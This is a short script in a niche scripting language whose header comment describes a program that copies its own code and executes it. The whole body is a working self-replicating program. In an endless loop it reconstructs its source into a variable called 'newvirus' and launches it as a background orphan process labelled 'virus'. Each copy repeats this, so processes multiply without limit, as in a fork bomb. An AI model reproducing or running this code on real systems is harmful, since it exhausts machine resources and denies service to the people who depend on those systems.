# This program creates a copy of its own code in a string, then does an
# inline exec of this string creating a new copy of itself which then goes 
# on to do the same and so on.

proc main
var pln pln2 s v cnt newvirus pid

while 1
	set pln 1
	set newvirus ""
	foreach s v in $prog
		set cnt [count v]

		# Get program line number
		set pln2 [elements v [math cnt-2]]
		if pln!=pln2 and newvirus!=""
			set newvirus [addstr newvirus ";"]
		endif

		# Write out program text only.
		set newvirus [addstr newvirus [elements v 1 [math cnt-3]] " "]
		set pln pln2
	nexteach
	iexec back orphan pid newvirus "virus"
wend
endproc